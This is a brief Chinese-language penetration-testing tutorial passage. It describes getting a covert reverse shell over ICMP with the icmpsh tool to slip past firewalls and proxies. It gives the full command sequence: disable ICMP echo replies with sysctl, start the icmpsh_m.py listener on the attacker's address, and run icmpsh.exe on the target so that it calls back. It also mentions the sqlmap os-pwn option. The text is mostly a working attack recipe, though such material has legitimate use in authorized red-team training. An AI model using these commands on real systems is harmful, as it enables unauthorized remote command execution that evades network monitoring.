内网中的大多数系统都位于防火墙和企业代理之后,以便控制入口以及出口流量。防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。
使用icmpsh(https://github.com/inquisb/icmpsh)工具可用来执行此攻击。推特上的大牛@Bernardo Damele已经将其导入到他的工具sqlmap中,可以使用-os-pwn选项来发起攻击。
以下命令将禁止ICMP回显,这对于工具正常使用是至关重要的,启动一个监听器,该监听器将等待目标主机的ICMP数据包:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 192.168.100.3 192.168.100.4
icmpsh工具中还包含需要在目标主机上传输和执行的二进制文件。以下命令将向监听主机发送ICMP包:
icmpsh.exe -t 192.168.100.3
ICMP Shell – Executing Binary
一个shell将通过ICMP接收,并且也可以通过这个管道来执行命令。